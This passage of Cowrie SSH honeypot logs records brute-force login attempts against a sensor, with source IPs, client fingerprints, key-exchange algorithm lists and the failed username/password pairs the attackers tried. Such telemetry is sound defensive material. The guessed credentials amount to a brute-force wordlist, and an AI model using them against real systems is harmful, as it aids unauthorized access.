hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:06:06.194504Z","src_ip":"123.58.213.128","session":"445b87f59528","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"@Ww123456","message":"login attempt [root/@Ww123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:06:07.091578Z","src_ip":"123.58.213.128","session":"445b87f59528","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:06:08.310728Z","src_ip":"123.58.213.128","session":"445b87f59528","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"81.192.46.32","src_port":36682,"dst_ip":"10.17.0.5","dst_port":22,"session":"45a3b2367db3","protocol":"ssh","message":"New connection: 81.192.46.32:36682 (10.17.0.5:22) [session: 45a3b2367db3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:06:10.909423Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:06:10.912769Z","src_ip":"81.192.46.32","session":"45a3b2367db3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:06:11.029265Z","src_ip":"81.192.46.32","session":"45a3b2367db3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"db2inst1","password":"db2password","message":"login attempt [db2inst1/db2password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:06:11.530451Z","src_ip":"81.192.46.32","session":"45a3b2367db3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:06:12.653341Z","src_ip":"81.192.46.32","session":"45a3b2367db3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":53194,"dst_ip":"10.17.0.5","dst_port":22,"session":"9575bb2d6ada","protocol":"ssh","message":"New connection: 8.210.75.243:53194 (10.17.0.5:22) [session: 9575bb2d6ada]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:06:14.661340Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.236.247.120","src_port":54954,"dst_ip":"10.17.0.5","dst_port":22,"session":"c17d8966b48a","protocol":"ssh","message":"New connection: 173.236.247.120:54954 (10.17.0.5:22) [session: c17d8966b48a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:06:25.828517Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:06:25.832070Z","src_ip":"173.236.247.120","session":"c17d8966b48a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:06:25.843549Z","src_ip":"173.236.247.120","session":"c17d8966b48a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"crypto123","password":"crypto123","message":"login attempt [crypto123/crypto123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:06:25.877984Z","src_ip":"173.236.247.120","session":"c17d8966b48a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:06:26.891760Z","src_ip":"173.236.247.120","session":"c17d8966b48a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"99.252.20.159","src_port":44416,"dst_ip":"10.17.0.5","dst_port":22,"session":"7d00cb24cf8c","protocol":"ssh","message":"New connection: 99.252.20.159:44416 (10.17.0.5:22) [session: 7d00cb24cf8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:06:30.706162Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:06:30.710596Z","src_ip":"99.252.20.159","session":"7d00cb24cf8c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:06:30.744813Z","src_ip":"99.252.20.159","session":"7d00cb24cf8c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mumbai","password":"Mumbai#Crypto$P@ss!99","message":"login attempt [mumbai/Mumbai#Crypto$P@ss!99] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:06:30.845370Z","src_ip":"99.252.20.159","session":"7d00cb24cf8c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:06:31.883534Z","src_ip":"99.252.20.159","session":"7d00cb24cf8c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.214.5.224","src_port":51240,"dst_ip":"10.17.0.5","dst_port":22,"session":"8e72ecc3fb1f","protocol":"ssh","message":"New connection: 162.214.5.224:51240 (10.17.0.5:22) [session: 8e72ecc3fb1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:06:35.053057Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:06:35.056597Z","src_ip":"162.214.5.224","session":"8e72ecc3fb1f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:06:35.142475Z","src_ip":"162.214.5.224","session":"8e72ecc3fb1f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"LTC#M@st3r!P@ss","message":"login attempt [root/LTC#M@st3r!P@ss] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:06:35.390590Z","src_ip":"162.214.5.224","session":"8e72ecc3fb1f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:06:36.063462Z","src_ip":"8.210.75.243","session":"1c0703e43ca0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:06:36.474134Z","src_ip":"162.214.5.224","session":"8e72ecc3fb1f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"105.27.148.94","src_port":43290,"dst_ip":"10.17.0.5","dst_port":22,"session":"938da43cff17","protocol":"ssh","message":"New connection: 105.27.148.94:43290 (10.17.0.5:22) [session: 938da43cff17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:06:42.734001Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:06:42.737067Z","src_ip":"105.27.148.94","session":"938da43cff17","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:06:42.946203Z","src_ip":"105.27.148.94","session":"938da43cff17","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"user@123","message":"login attempt [user/user@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:06:43.810570Z","src_ip":"105.27.148.94","session":"938da43cff17","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:06:45.021116Z","src_ip":"105.27.148.94","session":"938da43cff17","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":37020,"dst_ip":"10.17.0.5","dst_port":22,"session":"f3e794248094","protocol":"ssh","message":"New connection: 8.210.75.243:37020 (10.17.0.5:22) [session: f3e794248094]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:06:59.093282Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.242.143.220","src_port":48558,"dst_ip":"10.17.0.5","dst_port":22,"session":"674203845e5f","protocol":"ssh","message":"New connection: 38.242.143.220:48558 (10.17.0.5:22) [session: 674203845e5f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:06:59.899330Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:06:59.901803Z","src_ip":"38.242.143.220","session":"674203845e5f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:07:00.017278Z","src_ip":"38.242.143.220","session":"674203845e5f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gmx","password":"gmx123","message":"login attempt [gmx/gmx123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:07:00.302927Z","src_ip":"38.242.143.220","session":"674203845e5f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.132.16","src_port":34916,"dst_ip":"10.17.0.5","dst_port":22,"session":"374deb1ceba7","protocol":"ssh","message":"New connection: 103.82.132.16:34916 (10.17.0.5:22) [session: 374deb1ceba7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:07:00.616590Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:07:00.623245Z","src_ip":"103.82.132.16","session":"374deb1ceba7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:07:00.878107Z","src_ip":"103.82.132.16","session":"374deb1ceba7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:07:01.406953Z","src_ip":"38.242.143.220","session":"674203845e5f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"19011980","message":"login attempt [root/19011980] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:07:01.648582Z","src_ip":"103.82.132.16","session":"374deb1ceba7","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:07:02.287166Z","src_ip":"8.210.75.243","session":"f3e794248094","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:07:02.905837Z","src_ip":"103.82.132.16","session":"374deb1ceba7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:07:05.491399Z","src_ip":"8.210.75.243","session":"c0cdd3df6c52","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.22.184.88","src_port":51560,"dst_ip":"159.203.135.109","dst_port":22,"session":"fb3883e40fdb","protocol":"ssh","message":"New connection: 165.22.184.88:51560 (159.203.135.109:22) [session: fb3883e40fdb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:07:10.253513Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:07:10.257193Z","src_ip":"165.22.184.88","session":"fb3883e40fdb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.